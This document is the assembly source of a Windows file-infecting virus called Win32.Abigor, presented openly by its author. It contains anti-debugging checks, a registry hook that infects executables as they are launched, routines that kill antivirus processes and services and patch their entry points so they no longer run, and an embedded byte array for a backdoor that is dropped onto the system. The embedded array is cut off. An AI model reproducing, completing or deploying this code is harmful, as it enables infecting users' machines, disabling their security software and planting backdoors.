;                               ********************
;                               *   Win32.Abigor   *
;                               ********************
;
; It is a polymorphic PE file appending win32 virus that uses EPO.
; It is also my first virus attempt.
;
; here is some of it's feature :
; 
;* Infect filez on execution (via registry hooking), and directly the system and windows folder
;  (1st execution only)
;* Patch all occurence of ExitProcess, exit and _exit so the virus runs when the hosts terminates 
;
;* After some time, it will disable AVz and firewall by patching their entry point with a "ret",
;  deleting their service. Then it drops it's backdoor component.
;
;* Randomly trashes the system by blocking exe'z execution, this has 1/1000 chances to happen 
;  when an exe is executed and it is during "generaly" until the system reboots.
;  .
;  .
;  .
;  (well it's not a feature, it's a bug ! :D)
;  
;
;
;
;   
;
;
;
; Well... no more talking here's the code ->

      .586
      .model flat, stdcall
      option casemap :none   ; case sensitive
      

      include \masm32\include\windows.inc
      include \masm32\include\kernel32.inc
      includelib \masm32\lib\kernel32.lib

__DBG_ON__               equ  FALSE           ; TRUE : disable anti-debugging feature FALSE : enable anti-debugging feature
__RELEASE_MODE__    equ  TRUE       ; FALSE : does not infect windows and system TRUE : does infect win & sys dir

%out
%out Virus Version INFO:
%out
IF  __DBG_ON__
            
    %out    * Anti-debugging feature DISABLED
   
ELSE
    %out    * Anti-debugging feature ENABLED
    
ENDIF
    
IF  __RELEASE_MODE__
 
    %out    * DOES infect windows & system directory on 1st execution 
    %out    * Anti-AV routines ENABLED
ELSE
  
    %out    * DOES NOT infect windows & system directory on 1st execution
    %out    * Anti-AV routines DISABLED 
   
ENDIF

%out

.data


templ db "%lx",0                ; DEBUG 1st gen

db 0


.data?
buf db 256 dup (?)              ; DEBUG 1st gen

.code

  ALIGN 4  
    start:
    xor ebx , ebx
jmp VirusStart
hehe:invokE ExitProcess,0                ; 1st gen.
VirusStart:




     rept 8
     nop
     ENDM
     cld

     
     Call ___Delta
 ___Delta:
     pop ebp
     sub ebp, OFFSET ___Delta

     
 

     and      dword ptr [ebp + Patched?],0          ; init error
     
assume fs:nothing

     mov     dword ptr [ebp + @@Delta],ebp          ; Delta to restore if General error
     mov     dword ptr [ebp + @@@Delta],ebp         ; Delta to restore if Kernel base access error
 
     
     lea     eax,[exception_handler+ebp]
     push    eax        
      
     xor     edx,edx                         
     push    dword ptr fs:[edx]            
     mov     dword ptr fs:[edx],esp





    mov  esi, dword ptr [ebp + _KERNEL32]   ; try with last used kernel
    Call GetK32                 
    or   eax,eax  
    jnz  @F  
    
    mov  esi,0BFF70000h         ; Win9x
    Call GetK32                 ; ...
    or   eax,eax
    jnz  @F      
    mov  esi,077E40000h         ; XP
    Call GetK32                 ; GetKernel
    or   eax,eax  
    jnz  @F  

    mov  esi,077E00000h         ; NT/W2k
    Call GetK32
    or   eax,eax
    jnz  @F
    mov  esi,077E80000h         ; NT/W2k
    Call GetK32
    or   eax,eax  
    jnz  @F
    mov  esi,077ED0000h         ; NT/W2k
    Call GetK32
    or   eax,eax  
    jnz  @F
    mov  esi,077F00000h         ; NT/W2k
    Call GetK32
    
    
    @@:
    
    mov  dword ptr [ebp+_KERNEL32],eax          ; Save kernel base
    
    Call GetGetProcAddressAddress               ; hum...
    
    IFE      __DBG_ON__          ; enable debugging for test only

    mov    eax, dword ptr [ebp + _GetProcAddress]
    cmp    byte ptr [eax], 0CCh
    jz     ZeroShit
      
    lea    eax, dword ptr [ebp + szIsDebuggerPresent]
    push   eax
    push   dword ptr [ebp+_KERNEL32]
    Call   dword ptr [ebp + _GetProcAddress]

   
    .IF    eax ==  0                            ; -> win95
           mov     ecx,fs:[20h]
           jecxz   @F
           jmp     ZeroShit                     ; quit if debugger found
          @@:     
    .ELSE                                       ; -> win98, NT, 2k, XP
          CAll  EAX
          or    eax, eax
          jz    @F
          jmp     ZeroShit                      ; quit if debugger found
         @@:
    .ENDIF
    
    ENDIF

   push   3
   lea    eax, dword ptr [ebp + szSetErrorMode]
   Call   K32Api

   lea     eax,[EnableHostExecutionOnError_handlder+ebp]                ; Setup SEH frame for poly error handling
   push    eax        
   mov     dword ptr [ebp + EnableHostExecutionOnError_Delta],ebp       ; Save Delta 
   mov     dword ptr [ebp + EnableHostExecutionOnError_Stack],esp      ; Save Stack
   xor     edx,edx                         
   push    dword ptr fs:[edx]            
   mov     dword ptr fs:[edx],esp
   
    sub    esp, SIZEOF OSVERSIONINFO
    mov    ebx, esp
    assume ebx : ptr OSVERSIONINFO
    mov    dword ptr [ebx].dwOSVersionInfoSize,  SIZEOF OSVERSIONINFO
    push   ebx
    lea    eax, dword ptr [ebp + szGetVersionExA]
    Call   K32Api
    push   dword ptr [ebx].dwPlatformId
    pop    dword ptr [ebp + WinVer]
    add    esp, SIZEOF OSVERSIONINFO

    assume ebx : NOTHING
      
    lea    eax, dword ptr [ebp + Advapi32]
    push   eax
    lea    eax, dword ptr [ebp + szLoadLibraryA]
    Call   K32Api
    mov    dword ptr [ebp + _ADVAPI32], eax

    lea    eax, dword ptr [ebp + Psapi]
    push   eax
    lea    eax, dword ptr [ebp + szLoadLibraryA]
    Call   K32Api
    mov    dword ptr [ebp + _PSAPI], eax
    
    lea    eax, dword ptr [ebp + SFC]
    push   eax
    lea    eax, dword ptr [ebp + szLoadLibraryA]
    Call   K32Api
    mov    dword ptr [ebp + hSFC], eax
    
    lea    eax,dword ptr [ebp + USER32]
    push   eax
    lea    eax,dword ptr [ebp+szLoadLibraryA]   
    Call   K32Api
    mov    dword ptr [ebp+_USER32],eax          ; Save user32 base

    lea    eax,dword ptr [ebp + Shell32]
    push   eax
    lea    eax,dword ptr [ebp+szLoadLibraryA]   
    Call   K32Api
    mov    dword ptr [ebp+_Shell32],eax          ; Save user32 base
    

   
   
    Call   Random_init                          ; init rng seeds


    ;CALL   SetupRegHook                         ; install virus
    
    IF      __RELEASE_MODE__
            
            sub    esp, 120
            mov    ebx, esp
            mov    dword ptr [ebp + CompNameSize], 100
            lea    eax, dword ptr [ebp + CompNameSize]
            push   eax
            push   ebx
            ;lea    eax, dword ptr [ebp + szGetComputerNameA]    ; ERR_NOACCESS ???
            ;Call   K32Api
            lea    eax, dword ptr [ebp + szGetUserNameA]
            Call   ADVAPI32Api
            lea    edi, dword ptr [ebp + OldCompName]
            mov    esi, ebx
            mov    eax, ebx
            call   _strlen
            mov    ecx, eax
            mov    edx, ecx
            repz   cmpsb
            and    byte ptr [ebp + NewSystem],0
            test   ecx, ecx
            jz     CmpInfTime               ; not a new system: abort massive infection
            
            ;####################### executed ONLY once on 1st infection #####################
            
            mov    esi, ebx
            lea    edi, dword ptr [ebp + OldCompName]               ; store old computer name for further checking
            xchg   ecx, edx
            rep    movsb


            lea    eax, dword ptr [ebp + InfectionTime]             ; retrieve 1st infection time on this computer
            push   eax
            lea    eax, dword ptr [ebp + szGetSystemTimeAsFileTime]
            Call   K32Api
            
           lea     eax,[win_infect_handlder+ebp]                ; Setup SEH frame for poly error handling
           push    eax        
           mov     dword ptr [ebp + win_infectDelta],ebp       ; Save Delta 
           mov     dword ptr [ebp + win_infectStack],esp      ; Save Stack
           xor     edx,edx                         
           push    dword ptr fs:[edx]            
           mov     dword ptr fs:[edx],esp

           inc    byte ptr [ebp + NewSystem]

            xor    esi, esi
            lea    eax, dword ptr [ebp + NAV_Win]
            push   eax
            push   esi
            lea    eax, dword ptr [ebp + szFindWindowA]
            Call   U32Api
            mov    dword ptr [ebp + hNAVWnd], eax
            or     eax, eax
            jz     @F
            
            push   esi
            push   9c42h                                ; Desactivate NAV
            push   WM_COMMAND
            push   eax
            lea    eax, dword ptr [ebp + szSendMessageA]
            Call   U32Api
           @@:

            
            Call   infect_newsystem                                 ; ensure perenniality on new system & sleep for some day

        
            mov    ecx, dword ptr [ebp + hNAVWnd]
            jecxz  @F
            
            push   0
            push   9c42h                                ; Restore NAV
            push   WM_COMMAND
            push   ecx
            lea    eax, dword ptr [ebp + szSendMessageA]
            Call   U32Api
           @@:


           win_infect_handlder:
               DB      0BCh
            win_infectStack   dd      00000000h                 ; Restore Stack
            
              xor     edx,edx    
              pop     dword ptr fs:[edx] 
              
        
              db      0BDh
            win_infectDelta dd 00000000h                         ; Restore Delta

            
            ;#################################################################################
           CmpInfTime:
            add    esp, 120

            cmp    byte ptr [ebp + NewSystem],0
            jnz    no_drop
            
            lea    eax, dword ptr [ebp + CreationTime]              ; retrieve current time
            push   eax
            lea    eax, dword ptr [ebp + szGetSystemTimeAsFileTime]
            Call   K32Api

            mov    eax, dword ptr [ebp + InfectionTime].dwLowDateTime
            sub    eax, dword ptr [ebp + CreationTime].dwLowDateTime             ; substract current time
            ;mov    dword ptr [ebp + TimeDifference].dwLowDateTime, eax


            mov    eax, dword ptr [ebp + InfectionTime].dwHighDateTime
            sbb    eax, dword ptr [ebp + CreationTime].dwHighDateTime             ; substract current time
            mov    dword ptr [ebp + TimeDifference].dwHighDateTime, eax

            cmp     eax, TIME_DROP
            ja      no_drop
            


            
            CAll    KillAVz                                         ; après que TIME_DROP soit dépassé detruire les AVs
            
            lea     eax, dword ptr [ebp + TS_Win]
            push    eax
            push    eax
            lea     eax, dword ptr [ebp + szFindWindowA]
            Call    U32Api
            or      eax, eax
            jnz     no_drop                                         ; Backdoor déjà implanté sur notre système ?

            
            Call    Drop_BackDoor                                   ; non ??? implantons !!
            
           no_drop:
    ENDIF
    

   

   EnableHostExecutionOnError_handlder:
       DB      0BCh
    EnableHostExecutionOnError_Stack   dd      00000000h                 ; Restore Stack
    
      xor     edx,edx    
      pop     dword ptr fs:[edx] 

    db      0BDh
    EnableHostExecutionOnError_Delta dd 00000000h                         ; Restore Delta  
            
    
    CALL   SetupRegHook                         ; install virus
    lea    eax, dword ptr [ebp + szGetCommandLineA]
    Call   K32Api
    
    or     byte ptr [eax],20h
    cmp    byte ptr [eax],41h + 32
    jb     Return2host
    cmp    byte ptr [eax],5Ah + 32
    ja     Return2host

    

    sub    esp, 600
    
    
    mov    edi, eax
    
    Call   _strlen
    mov    ecx, eax
 
    mov     al,'"'
    repnz   scasb

       
    mov    dword ptr [ebp + pFileName], edi

    mov     al,'"'
    repnz   scasb
    
    
    .IF    byte ptr [edi] == ' '                    ; in case of cmdline...
    
           and     byte ptr [edi-1],0
           mov     eax, dword ptr [ebp + pFileName]
           Call    _strlen
           mov     ecx, eax
           mov     al,' '
           repnz   scasb
           and     byte ptr [edi-1],0
           
    .ELSE
           and    dword ptr [edi-1],0
    .ENDIF
    
    ;push    edi

    sub     esp, 380
    mov     esi, esp


    push    esi
    mov     byte ptr [esi],' '
    
    inc     esi


   @@:
    mov     al, byte ptr [edi]
    mov     byte ptr [esi], al
    inc     edi
    inc     esi
    or      al,al
    jz      @F
    jmp     @B
   @@:

    pop esi


    mov    eax, dword ptr [ebp + pFileName]
    
    IF      __RELEASE_MODE__
    
      pushad
      

      cmp    byte ptr [ebp + NewSystem],0
      jnz    SkipKill
      xor    edx, edx                                         ; process is not active
      mov    eax, dword ptr [ebp + pFileName]
      cmp    dword ptr [ebp + TimeDifference].dwHighDateTime, TIME_DROP       ; Time to engage kill routines ?
      ja     SkipKill
          ;pushad
          ;push 0 
          ;push eax
          ;push eax
          ;push 0
          ;lea eax, [ebp + szMessageBoxA]
          ;call U32Api
          ;popad
      Call   KillAV                                           ; Check if the file we are trying to run is an AV & if so kill it...
     SkipKill:
      popad

    ENDIF

    pushad
    Call   IsFileAV?
    dec    eax
    popad
    jz      @F                                  ; IS it an AV file ?
    Call    infect                              ; infect !!!
   @@:
    
    sub     esp, (SIZEOF STARTUPINFO + 30)
    mov     ebx, esp
    pushad
    mov    edi, ebx
    mov    ecx, (SIZEOF STARTUPINFO + 30)
    xor    al, al
    rep    stosb
    popad
    push   ebx
    lea    eax, dword ptr [ebp + szGetStartupInfoA]
    Call   K32Api

    ;---
    sub     esp, 280
    mov     ecx, esp 

    push   ecx                  ; for lstricmp
    
    push   0FFh
    push   ecx
    push   0
    lea    eax, dword ptr [ebp + szGetModuleFileNameA]
    Call   K32Api


    push   dword ptr [ebp + pFileName]
    lea    eax, dword ptr [ebp + szlstrcmpiA]
    Call   K32Api
    sub     esp, -280
    
    sub    esp, (SIZEOF PROCESS_INFORMATION + 30)
    mov    edx, esp
    pushad
    mov    edi, edx
    mov    ecx, (SIZEOF PROCESS_INFORMATION + 30)
    xor    al, al
    rep    stosb
    popad
    or     eax, eax
    jz     skpexec



    sub    esp, 280
    mov    edi, esp
    push   esi
    mov    esi, dword ptr [ebp + pFileName]
    mov    eax, esi
    call   _strlen
    mov    ecx, eax
    rep    movsb
    pop    esi

   @@:
    dec    edi
    cmp    byte ptr [edi], '\'
    jnz    @B
    and    byte ptr [edi], 0
    mov    ecx, esp            ;   ecx = repertoire de l'exe


    
    push   edx
    
    xor    eax,eax
    push   edx
    push   ebx
    push   ecx
    push   eax
    push   NORMAL_PRIORITY_CLASS
    push   eax
    push   eax
    push   eax
    pushad
    lea    eax, dword ptr [ebp + szSHGetFileInfo]
    push   eax
    push   dword ptr [ebp + _Shell32]
    Call   dword ptr [ebp + _GetProcAddress]
    mov    ebx, eax

    sub    esp, (SIZEOF SHFILEINFO + 80)
    mov    edi, esp
    
    push   SHGFI_EXETYPE
    push   SIZEOF SHFILEINFO
    push   edi
    push   0
    push   dword ptr [ebp + pFileName]
    Call   ebx                                  ; Get exe file type
    add    esp, (SIZEOF SHFILEINFO + 80)

    clc
    .IF    ax != 'EP'
           stc                                  ; Non-PE file, set carry on
    .ENDIF
    popad
    .IF    CARRY?
           push   eax                           ; Non-PE file, don't use commandline
    .ELSE
           push   esi                           ; PE file, preserve commandline
    .ENDIF
    push   dword ptr [ebp + pFileName]
    lea    eax, dword ptr [ebp + szCreateProcessA]
    Call   K32Api

    pop    ebx
       
    push   [ebx+4]
    lea    eax, dword ptr [ebp + szCloseHandle]
    Call   K32Api 
    

   skpexec:
    add    esp, (600 + 380 + 280 + SIZEOF STARTUPINFO + SIZEOF PROCESS_INFORMATION + 60 ) ; Fix stack

Return2host:



  FreeLib:
  

    push   dword ptr [ebp + _Shell32]
    lea    eax,dword ptr [ebp+szFreeLibrary]   
    Call   K32Api
    
    push   dword ptr [ebp + _USER32]
    lea    eax,dword ptr [ebp+szFreeLibrary]   
    Call   K32Api

    cmp    dword ptr [ebp + hSFC], 0                ; Was it loaded ?
    jz     @F
    push   dword ptr [ebp + hSFC]
    lea    eax, dword ptr [ebp + szFreeLibrary]
    Call   K32Api         
   @@:


    push   dword ptr [ebp + _ADVAPI32]
    lea    eax, dword ptr [ebp + szFreeLibrary]
    Call   K32Api         

    cmp    dword ptr [ebp + _PSAPI], 0                ; Was it loaded ?
    jz     @F
    push   dword ptr [ebp + _PSAPI]
    lea    eax, dword ptr [ebp + szFreeLibrary]
    Call   K32Api   
   @@:
   
    jmp          ZeroShit    ; Clear shit And return 2 host

      


    BytesNeeded      dd      0
    
    KillAVz         proc

    .IF     dword ptr [ebp + WinVer] == VER_PLATFORM_WIN32_NT

        
        Call   KillHostileDrivers       ; kill Hostile NT services first
        
        sub    esp, 2500
        mov    ebx, esp
        lea    eax, dword ptr [ebp + BytesNeeded]
        push   eax
        push   2400
        push   ebx
        lea    eax, dword ptr [ebp + szEnumProcesses]
        Call   PSAPIApi

        
        mov     esi, ebx
       nextone:
        mov     ecx, dword ptr [esi]
        jecxz   Skipit

        push    ecx
        push    0
        push    PROCESS_ALL_ACCESS
        lea     eax, dword ptr [ebp + szOpenProcess]
        Call    K32Api

        or      eax, eax
        jz      Skipit
        
        push    eax             ; <- For CloseHandle


        sub     esp, 300
        mov     edi, esp
        
        push    eax
        
        push    256
        push    edi
        push    0
        push    eax
        lea     eax, dword ptr [ebp + szGetModuleFileNameExA]
        Call    PSAPIApi

        pop     edx
        
        sub     eax, 4
        js      NOgood

        mov     eax, edi
        Call    KillAV
        
        
        mov     ecx, (256 / 4)
        xor     eax, eax
        rep     stosd
        
       NOgood:
        add     esp, 300
        lea     eax, dword ptr [ebp + szCloseHandle]
        Call    K32Api
        
       Skipit:
        add     esi, 4
        mov     eax, ebx
        add     eax, 1024
        cmp     esi, eax
        jle     nextone

        Call   KillHostileDrivers       ; kill Hostile NT services next :)
        
        add    esp, 2500 
                
      .ELSE
      
        push     0
        push     TH32CS_SNAPPROCESS
        lea      eax, dword ptr [ebp + szCreateToolhelp32Snapshot]
        Call     K32Api
        inc      eax
        jz       ErrNoSnapshot
        dec      eax
        mov      esi, eax
  
        sub      esp, SIZEOF PROCESSENTRY32 + 30
        mov      ebx, esp
        assume   ebx : ptr PROCESSENTRY32
        mov      [ebx].dwSize, SIZEOF PROCESSENTRY32
        push     ebx
        push     esi
        lea      eax, dword ptr [ebp + szProcess32First]
        Call     K32Api
       nextone9x:

        push     dword ptr [ebx].th32ProcessID
        push     0
        push     PROCESS_ALL_ACCESS
        lea      eax, dword ptr [ebp + szOpenProcess]
        Call     K32Api
        or       eax, eax
        jz       ErrOpen9x
        lea      edx, dword ptr [ebx].szExeFile
        xchg     eax, edx
        Call     KillAV        
       ErrOpen9x:
        push     ebx
        push     esi
        lea      eax, dword ptr [ebp + szProcess32Next]
        Call     K32Api

        or       eax,eax
        jnz      nextone9x
        
        push     esi
        lea      eax, dword ptr [ebp + szCloseHandle]
        Call     K32Api
        
        add      esp, SIZEOF PROCESSENTRY32 + 30
        assume   ebx : nothing
      ErrNoSnapshot:
    .ENDIF

       ret
       
    KillAVz         endp

services	db	"AMON",0
		db	"avpg",0
		db	"AVPCC",0
		db	"Aavmker",0
		db	"Avast32 Start as Service",0
		db	"AvMon2",0
		db	"AvUpdSvc",0
		db	"KAVMonitorService",0
		db	"NOD32Service",0
		db	"PersFw",0
		db	"vsmon",0
            db    "Vsapint",0
            db    "Tmpreflt",0
            db    "Tmntsrv",0
            db    "Tmfilter",0
            db    "PCCPFW",0
            db    "PCC_PFW",0
            db    "wg3n",0
            db    "SmcService",0
		db	0



    KillHostileDrivers  proc

            xor   esi, esi
            push  SC_MANAGER_ALL_ACCESS
            push  esi
            push  esi
            lea   eax, dword ptr [ebp + szOpenSCManagerA]
            Call  ADVAPI32Api
            mov   ebx, eax
            lea   esi, dword ptr [ebp + services]
           KillServiceLoop:

            push  SERVICE_ALL_ACCESS
            push  esi
            push  ebx
            lea   eax, dword ptr [ebp + szOpenServiceA]
            Call  ADVAPI32Api
            mov   edi, eax
            or    edi, edi
            jz    NextService
            push  ebx
            sub   esp, SIZEOF SERVICE_STATUS + 20
            mov   ebx, esp
            
            push  ebx
            push  SERVICE_CONTROL_STOP
            push  edi
            lea   eax, dword ptr [ebp + szControlService]
            Call  ADVAPI32Api
            
            add   esp, SIZEOF SERVICE_STATUS + 20
            pop   ebx         

            push  edi
            lea   eax, dword ptr [ebp + szDeleteService]
            Call  ADVAPI32Api

            push  edi
            lea   eax, dword ptr [ebp + szCloseServiceHandle]
            Call  ADVAPI32Api
           NextService:
            mov   eax, esi
            call  _strlen
            add   esi, eax
            inc   esi
            cmp   byte ptr [esi],0                            ; No more service ?
            jz    @F                                          ; Exit loop
            jmp   KillServiceLoop                             ; Compare with next service
           @@:        
             
            push  ebx
            lea   eax, dword ptr [ebp + szCloseServiceHandle]
            Call  ADVAPI32Api             
             
            ret
    KillHostileDrivers  endp

     AV_lst db   "Autodown.exe",0
            db   "Tmntsrv.exe",0
            db   "amon.exe",0
            db   "avmaisrv.exe",0
            db   "avserver.exe",0
            db   "nod32.exe",0
            db   "nod32cc.exe",0
            db   "Zonealarm.exe",0
            db   "zapro.exe",0
            db   "Wfindv32.exe",0
            db   "Webscanx.exe",0
            db   "Vsstat.exe",0
            db   "Vshwin32.exe",0
            db   "Vsecomr.exe",0
            db   "Vscan40.exe",0
            db   "Vettray.exe",0
            db   "Vet95.exe",0
            db   "Tds2-Nt.exe",0
            db   "Tds2-98.exe",0
            db   "Tca.exe",0
            db   "Tbscan.exe",0
            db   "Sweep95.exe",0
            db   "Sphinx.exe",0
            db   "Smc.exe",0
            db   "Serv95.exe",0
            db   "Scrscan.exe",0
            db   "Scanpm.exe",0
            db   "Scan95.exe",0
            db   "Scan32.exe",0
            db   "Safeweb.exe",0
            db   "Rescue.exe",0
            db   "Rav7win.exe",0
            db   "Rav7.exe",0
            db   "Persfw.exe",0
            db   "Pcfwallicon.exe",0
            db   "Pccwin98.exe",0
            db   "Pccguide.exe",0
            db   "Pccclient.exe",0
            db   "Pavw.exe",0
            db   "Pavsched.exe",0
            db   "Pavcl.exe",0
            db   "Padmin.exe",0
            db   "Outpost.exe",0
            db   "Nvc95.exe",0
            db   "Nupgrade.exe",0
            db   "Normist.exe",0
            db   "Nmain.exe",0
            db   "Nisum.exe",0
            db   "Navwnt.exe",0
            db   "Navw32.exe",0
            db   "Navnt.exe",0
            db   "Navlu32.exe",0
            db   "Navapw32.exe",0
            db   "N32scanw.exe",0
            db   "Mpftray.exe",0
            db   "Moolive.exe",0
            db   "Luall.exe",0
            db   "Lookout.exe",0
            db   "Lockdown2000.exe",0
            db   "Jedi.exe",0
            db   "Iomon98.exe",0
            db   "Iface.exe",0
            db   "Icsuppnt.exe",0
            db   "Icsupp95.exe",0
            db   "Icmon.exe",0
            db   "Icloadnt.exe",0
            db   "Icload95.exe",0
            db   "Ibmavsp.exe",0
            db   "Ibmasn.exe",0
            db   "Iamserv.exe",0
            db   "Iamapp.exe",0
            db   "Frw.exe",0
            db   "Fprot.exe",0
            db   "Fp-Win.exe",0
            db   "Findviru.exe",0
            db   "F-Stopw.exe",0
            db   "F-Prot95.exe",0
            db   "F-Prot.exe",0
            db   "F-Agnt95.exe",0
            db   "Espwatch.exe",0
            db   "Esafe.exe",0
            db   "Ecengine.exe",0
            db   "Dvp95_0.exe",0
            db   "Dvp95.exe",0
            db   "Cleaner3.exe",0
            db   "Cleaner.exe",0
            db   "Claw95cf.exe",0
            db   "Claw95.exe",0
            db   "Cfinet32.exe",0
            db   "Cfinet.exe",0
            db   "Cfiaudit.exe",0
            db   "Cfiadmin.exe",0
            db   "Blackice.exe",0
            db   "Blackd.exe",0
            db   "Avwupd32.exe",0
            db   "Avwin95.exe",0
            db   "Avsched32.exe",0
            db   "Avpupd.exe",0
            db   "Avptc32.exe",0
            db   "avpm.exe",0
            db   "Avpdos32.exe",0
            db   "Avpcc.exe",0
            db   "Avp32.exe",0
            db   "Avp.exe",0
            db   "Avnt.exe",0
            db   "Avkserv.exe",0
            db   "Avgctrl.exe",0
            db   "Ave32.exe",0
            db   "Avconsol.exe",0
            db   "Apvxdwin.exe",0
            db   "Anti-Trojan.exe",0
            db   "Ackwin32.exe",0
            db   "_Avpm.exe",0
            db   "_Avpcc.exe",0
            db   "_Avp32.exe",0
            db   "Vsmon.exe",0
            db   "Smc.exe",0
            db   0


IsFileAV?   proc    
                ; in : eax = pointer to filename
                ; out : eax == 1 if FileName Is a AV one, else eax == 0

             sub     esp, SIZEOF WIN32_FIND_DATA + 50
           
             mov     edi, esp
             
             push    edi
             assume  edi : ptr WIN32_FIND_DATA
             push    eax
             lea     eax, dword ptr [ebp + szFindFirstFileA]
             Call    K32Api
             lea     edi, [edi].cFileName                         ; Always get the long filename
             assume  edi : nothing
             
             push    eax
             lea     eax, dword ptr [ebp + szFindClose] 
             CAll    K32Api
  
             
   
             cmp     byte ptr [edi+1], ':'
             jnz     JustExe
             
             mov     eax, edi



             Call    _strlen
             add     edi, eax
            @@:
             dec     edi
             cmp     byte ptr [edi], '\'
             jnz     @B
             inc     edi   
             
        JustExe:
            lea     esi, dword ptr [ebp + AV_lst]
        AV_scan_loop:
           
            push    edi
            push    esi
            lea     eax, dword ptr [ebp + szlstrcmpiA]   ; compare it with one AV ?
            Call    K32Api
           
            or      eax, eax                             ; name is matching ?
            jnz     NotListedAV
            
            add     esp, SIZEOF WIN32_FIND_DATA + 50
            
            inc     eax                                  ; AV return 1
            ret

           NotListedAV:
            mov     eax, esi
            Call    _strlen
            add     esi, eax
            inc     esi
            cmp     byte ptr [esi],0                            ; No more AV ?
            jz      @F                                          ; Exit loop
            jmp     AV_scan_loop                                ; Compare with next AV
           @@:
            add     esp, SIZEOF WIN32_FIND_DATA + 50
            xor     eax, eax
            ret
            
IsFileAV?   endp

pid dd 0
 ;test_file db "c:\windows\system32\host.exe",0
            ; in : eax = pointer to filename to process
            ;      edx = process handle IF the process to be trashed is active ELSE put NULL
                   
    KillAV          proc
           pushad
           mov     ebx, eax             ; put pointer to filename into ebx
           mov     dword ptr [ebp + pid], edx
          
           sub     esp, SIZEOF WIN32_FIND_DATA + 50
           mov     edi, esp
           
           push    edi
           assume  edi : ptr WIN32_FIND_DATA
           push    ebx
           lea     eax, dword ptr [ebp + szFindFirstFileA]
           Call    K32Api
           lea     edi, [edi].cFileName                         ; Always get the long filename
           assume  edi : nothing

           push    eax
           lea     eax, dword ptr [ebp + szFindClose] 
           CAll    K32Api

           
 
           cmp     byte ptr [edi+1], ':'
           jnz     JustExe
           
           mov     eax, edi
           Call    _strlen
           add     edi, eax
          @@:
           dec     edi
           cmp     byte ptr [edi], '\'
           jnz     @B
           inc     edi                  ; reach byte after last '\'

        JustExe:
           lea     esi, dword ptr [ebp + AV_lst]

          ;pushad
          ;push 0 
          ;push edi
          ;push ebx
          ;push 0
          ;lea eax, [ebp + szMessageBoxA]
          ;call U32Api
          ;popad
        AV_scan_loop:


      
           push    edi
           push    esi
           lea     eax, dword ptr [ebp + szlstrcmpiA]   ; compare it with one AV ?
           Call    K32Api


           or      eax, eax                             ; name is matching ?
           jnz     NotListedAV


           
           push    dword ptr [edi]
           or      dword ptr [edi], 20202020h
           cmp     dword ptr [edi], 'mpva' ; Avp monitor ?
           pop     dword ptr [edi]
           
           jz      @F               ; don't kill it

           mov     ecx, dword ptr [ebp + pid]
           jecxz   @F               ; is process running ? no skip
           push    eax
           push    ecx
           lea     eax, dword ptr [ebp + szTerminateProcess]    ; kill !
           Call    K32Api
          @@:

          ;pushad
          ;push 0 
          ;push edi
          ;push ebx
          ;push 0
          ;lea eax, [ebp + szMessageBoxA]
          ;call U32Api
          ;popad
           
           Call    PatchAV                                     ; Extra (may only work when prossess
                                                               ; is about to be launched due to
                                                               ; the latency time necessary to unload
                                                               ; image from the memory and, thus, writing
          NotListedAV:                                         ; to the file on disk)
           mov     eax, esi
           Call    _strlen
           add     esi, eax
           inc     esi
           cmp     byte ptr [esi],0                            ; No more AV ?
           jz      @F                                          ; Exit loop
           jmp     AV_scan_loop                                ; Compare with next AV
          @@:
           add     esp, SIZEOF WIN32_FIND_DATA + 50
           popad
           ret
    KillAV          endp

        
    PatchAV         proc uses edx        ; in : ebx = pointer to full path of file to patch.
            pushad
            


            push   FILE_ATTRIBUTE_NORMAL
            push   ebx
            lea    eax, dword ptr [ebp + szSetFileAttributesA]  ; reset attributes
            Call   K32Api

            
            xor    esi, esi
            push   esi
            push   FILE_ATTRIBUTE_NORMAL	
            push   OPEN_EXISTING
            push   esi
            push   FILE_SHARE_READ or FILE_SHARE_WRITE
            push   GENERIC_READ    or    GENERIC_WRITE
            push   ebx
            lea    eax, dword ptr [ebp + szCreateFileA]
            Call   K32Api

            inc   eax
            jz    ErrOpen
		dec 	 eax
            mov    dword ptr [ebp + hFile],eax

                     
            push   esi
            push   esi
            push   esi
            push   PAGE_READWRITE	
            push   esi
            push   dword ptr [ebp + hFile]
            lea    eax,[ebp+szCreateFileMappingA]
            call   K32Api


            
		or 	eax,eax
            jz    ErrCloseFa

            mov    dword ptr [ebp + hMap],eax
            
            push   esi
            push   esi
            push   esi
            push   FILE_MAP_ALL_ACCESS
            push   dword ptr [ebp+hMap]
            lea    eax,dword ptr [ebp+szMapViewOfFile]
            call   K32Api

            test   eax,eax
            jz     ErrShit
            
            mov    dword ptr [ebp + pMap],eax

            cmp    word ptr [eax],IMAGE_DOS_SIGNATURE       
            jnz    ErrShit
            mov    edi,[eax+3ch]
            add    edi,eax
            cmp    dword ptr [edi],IMAGE_NT_SIGNATURE             
            jnz    ErrShit

            assume edi : ptr IMAGE_NT_HEADERS
            
            mov    edi,[edi].OptionalHeader.AddressOfEntryPoint
            mov    esi,dword ptr [ebp + pMap]
            Call   RVAToOffset          ; get raw offset
            add    eax,dword ptr [ebp + pMap] ; add base address
            assume edi : nothing
            mov    edi,eax
            mov    al, 0C3h             ; patch entrypoint with "return to windows"
            stosb
            Call   Random32
            and    eax,07Fh
            Call   GenTrashBlk          ; add shit ... 
                                        ; this should make it a bit harder to repair :-)
           ErrShit:
            Call   UnMap
           ErrCloseFa:
            push   dword ptr [ebp+hFile] 
            lea    eax, dword ptr [ebp + szCloseHandle]
            Call   K32Api
          ErrOpen:
          
           popad
           ret
    PatchAV         endp

    

      
 

 

 

 
  BackdoorStart    db 77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0
  db 184,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  db 0,0,0,0,0,0,0,0,0,0,0,0,176,0,0,0
  db 14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104
  db 105,115,32,112,114,111,103,114,97,109,32,99,97,110,110,111
  db 116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32
  db 109,111,100,101,46,13,13,10,36,0,0,0,0,0,0,0
  db 85,217,249,219,17,184,151,136,17,184,151,136,17,184,151,136
  db 17,184,151,136,146,184,151,136,237,152,133,136,19,184,151,136
  db 82,105,99,104,17,184,151,136,0,0,0,0,0,0,0,0
  db 80,69,0,0,76,1,3,0,143,87,26,64,0,0,0,0
  db 0,0,0,0,224,0,15,1,11,1,5,12,0,48,0,0
  db 0,16,0,0,0,192,1,0,48,242,1,0,0,208,1,0
  db 0,0,2,0,0,0,64,0,0,16,0,0,0,2,0,0
  db 4,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0
